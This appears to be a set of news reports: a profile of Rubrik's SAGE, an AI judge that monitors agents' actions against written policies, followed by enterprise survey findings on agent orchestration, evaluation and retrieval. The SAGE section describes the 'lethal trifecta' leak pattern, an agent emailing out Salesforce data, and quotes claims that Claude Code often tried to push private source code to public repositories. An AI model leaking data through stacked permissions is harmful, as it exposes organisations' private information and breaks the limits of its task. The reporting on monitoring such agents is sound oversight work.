SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.
Security approval, not cost, blocks AI ROI
Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. 
Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."
VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. 
One AI reading what the rulebook can't
Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.
The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.
Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.
When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.
SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.
The lethal trifecta
Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.
Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.
A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.
The attacks no single turn reveals
Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.
Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.
A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.
Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?
Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.


Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents
Thu, 23 Jul 2026 19:19:45 +0200
Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.
This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.
The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.
That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.
By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).
At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.
Finding 1: Orchestration runs on model-provider platforms
Anthropic’s Claude leads; open frameworks are marginal
We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.
A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.
The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.
Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.
Finding 2: Model gravity drives platform selection
The base model, not the tooling, decides the platform
We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.
Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.
Finding 3: The job is reliable multi-step execution
Enterprises just orchestration by whether it completes the work
We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.
Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.
The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.
Finding 4: Consolidate, productionize, and build in-house 
Three strategic moves are nearly tied for the year ahead
We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.
The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.
Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 
The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.
Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.
Finding 6: Investment flows to workflow tooling
Tooling and permissions lead the spend; monitoring trails
We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.
Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.
Finding 7: The control plane will be hybrid — and lock-in is why
Enterprises expect to split control between providers and their own layer
We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.
Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.
The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.
Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.
Finding 8: The chatbot trap — most “agents” aren’t agents yet
Enterprises admit most deployments are still chatbot wrappers
We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.
This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.
Finding 9: Fiscal control is still reactive
Only a minority can stop a runaway agent before the bill arrives
Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.
More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.
It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.
The bottom line: The layer is real; most of the agents aren't yet
Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.
But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.


The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway
Thu, 23 Jul 2026 19:19:44 +0200
Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.
This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.
The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.
What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.
By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).
At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.
Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.
Finding 1: A passing eval is not a working agent
Half have shipped an agent that passed evals, then failed a customer
We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.
This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.
Finding 2: Almost no one fully trusts automated evaluation
The top complaint: Evals don't match real-world outcomes
We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.
Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.
Finding 3: The autonomy ceiling is rising anyway
Two-thirds already allow, or are building toward, zero-human deployment
We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.
Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.
Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 
Finding 4: The evaluation stack is fragmented and provider-led
Provider-native evals lead — tied with no dedicated tool at all
We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.
The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.
Finding 5: Production monitoring rarely watches output quality
Only a quarter run real-time quality checks on live traffic
Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.
Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.
Finding 6: Bought on cost, measured on consistency
Price and integration drive selection; evaluation consistency is the goal
We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.
Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.
Finding 7: The next dollar goes to humans and observability
Investment is flowing to oversight, not just automation
We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.
The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. 
Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.
Finding 8: A tooling reshuffle is coming
Nearly two-thirds plan to adopt or switch platforms within a year
We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.
The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. 
Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.
The bottom line: An evaluation gap that autonomy will widen, not close
Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.
The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.
Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.


The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix
Thu, 23 Jul 2026 19:19:42 +0200
Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.
This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.
The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.
Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
